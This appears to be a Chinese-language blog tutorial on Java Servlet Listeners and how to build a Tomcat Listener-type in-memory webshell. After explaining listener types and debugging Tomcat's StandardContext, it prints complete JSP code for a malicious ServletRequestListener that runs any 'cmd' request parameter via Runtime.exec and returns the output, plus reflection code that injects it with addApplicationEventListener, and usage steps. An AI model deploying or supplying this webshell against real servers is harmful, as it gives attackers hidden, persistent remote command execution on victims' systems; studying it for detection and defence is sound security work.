Listen内存马

约 9 分钟读完

Listen内存马

在 Java Web 领域中,Listener(监听器) 是 Servlet 规范定义的一种组件,用于监听 Web 应用中特定事件的发生(如对象创建 / 销毁、属性变化等),并触发相应的处理逻辑。而Listener 型内存马则是利用 Listener 的机制,通过动态注册恶意监听器实现未授权操作的攻击手段。

一、Java 中的 Listener 监听器

1. 核心作用

Listener 用于监听 Web 应用中域对象(如 ServletContext、HttpSession、ServletRequest)的生命周期,或域对象中属性的变化,当事件触发时执行预设逻辑。常见应用场景包括:

  • 初始化资源(如数据库连接池)

  • 统计在线用户数量

  • 监听请求参数变化等。

2. 主要类型

根据监听对象不同,Listener 可分为:

  • ServletContextListener:监听 Web 应用的启动(contextInitialized)和关闭(contextDestroyed)。

  • HttpSessionListener:监听会话(Session)的创建(sessionCreated)和销毁(sessionDestroyed)。

  • ServletRequestListener:监听请求(Request)的创建(requestInitialized)和销毁(requestDestroyed)。

  • 其他扩展类型:如监听属性变化的ServletContextAttributeListener、HttpSessionAttributeListener等。

3. 工作原理

  1. 定义监听器:实现上述对应的 Listener 接口,重写事件处理方法(如contextInitialized)。

  2. 注册监听器

  • 静态注册:在web.xml中通过标签配置全类名。

  • 动态注册:通过ServletContext的addListener方法在运行时注册(需满足 Servlet 3.0 + 规范)。

  1. 事件触发:当被监听的事件(如应用启动、Session 创建)发生时,容器(如 Tomcat)自动调用监听器的对应方法。

4. 代码演示

新建一个listener项目,

创建类

package org.example.listendemo;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
public class ListenTest implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
        ServletRequestListener.super.requestDestroyed(sre);
    }

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        System.out.println("requestInitialized");
        HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
        String requestURI = request.getRequestURI();
        String cmd=request.getParameter("cmd");
        if(requestURI.contains("/name")){
            try {
                Runtime.getRuntime().exec(cmd);
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
        }
    }
}

配置web.xml

  <listener>
        <listener-class>org.example.listendemo.ListenTest</listener-class>
  </listener>

然后启动项目, 当访问路径/name的时候, 并且参数cmd传入了命令, 就会执行

二、Listener 型内存马

1. 核心原理

内存马(无文件马)的本质是通过动态注入恶意代码到运行中的 Java 进程,无需落地文件即可实现持久化控制。Listener 型内存马利用 Listener 的动态注册机制,在目标应用中注入恶意监听器,当监听器的事件被触发时(如每次请求到来),执行攻击逻辑(如命令执行、数据窃取等)。

2. 实现步骤

以最常见的ServletRequestListener型内存马为例,核心流程如下:

  1. 获取 ServletContext 对象

利用漏洞(如反序列化、命令执行等)获取当前 Web 应用的ServletContext实例(它是全局唯一的域对象,可用于注册监听器)。

  1. 动态注册恶意监听器

构造一个实现ServletRequestListener的恶意类,在requestInitialized方法中编写恶意逻辑(如执行系统命令),然后通过ServletContext.addListener(恶意监听器实例)动态注册。

  1. 触发恶意逻辑

每次有 HTTP 请求到达时,容器会自动调用requestInitialized方法,触发恶意代码执行(无需额外触发条件,隐蔽性强)。

三. 调式代码

在上面代码的 System.out.println("requestInitialized");打上断点, 开始调式

image-20251021143253074

查看堆栈调用执行的方法, 查看当前位置的上一步, 点击进入

image-20251021143607712

可以看到在StandardContext类中调用了fireRequestInitEvent方法, 方法中执行了requestInitialized, 而此处的listener就是我们自己前面定义的监听器ListenTest.

点击查看listener的定义, 发现来自

ServletRequestListener listener = (ServletRequestListener) instance;

image-20251021143840457

查看值, 此时instance就是我们定义的监听器

进一步分析instance的来源

发现他是个for循环执行的instances数组.

上面图片可以看出数组就有一个值, 就是我们定义的监听器, 而数组的定义来自

 Object instances[] = getApplicationEventListeners();

查看getApplicationEventListeners

public Object[] getApplicationEventListeners() {
    return applicationEventListenersList.toArray();
}

getApplicationEventListeners()方法是Tomcat中StandardContext类的一个方法,它的作用是返回当前Web应用程序中所有已注册的应用事件监听器(Application Event Listeners)的数组形式。

所以通过反射获取到StandardContext对象后,可以调用addApplicationEventListener()方法将恶意监听器添加到applicationEventListenersList中。当Tomcat处理请求时,会遍历这个列表中的所有监听器并调用相应的方法, 由此注入内存马

内存马代码

1. 准备恶意类

<%!
    public class ListenerShell implements ServletRequestListener {
        @Override
        public void requestInitialized(ServletRequestEvent sre) {
            ServletRequest req = sre.getServletRequest();
            Class reqClass = req.getClass();
            try {
                Field field = reqClass.getDeclaredField("request");
                field.setAccessible(true);
                Response  resp = ((Request) field.get(req)).getResponse();
                String cmd = req.getParameter("cmd");
                if (cmd != null) {
                    Process proc = Runtime.getRuntime().exec(cmd);
                    BufferedReader br = new BufferedReader(
                            new InputStreamReader(proc.getInputStream()));
                    String line;
                    while ((line = br.readLine()) != null) {
                        resp.getWriter().println(line);
                    }
                    br.close();
                }
            } catch (Exception e) {
                throw new RuntimeException(e);
            }

        }

        @Override
        public void requestDestroyed(ServletRequestEvent servletRequestEvent) {}


    }
%>

2. 获取StandardContext

<%
    // 从request中获取servletContext
    ServletContext servletContext = request.getServletContext();
    // 从servletContext中获取applicationContext
    Field applicationContextField = servletContext.getClass().getDeclaredField("context");
    applicationContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
    // 从applicationContext中获取standardContext
    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
%>

3.动态注入

<%
    standardContext.addApplicationEventListener(new ListenerShell());
%>

4. 使用流程

  1. 首先访问?cmd=calc, 肯定没有反应

  2. 然后访问/filtener将其注册

  3. 然后/?cmd=calc就可以弹出计算器了

← Filter型内存马 Tomcat Valve内存马 →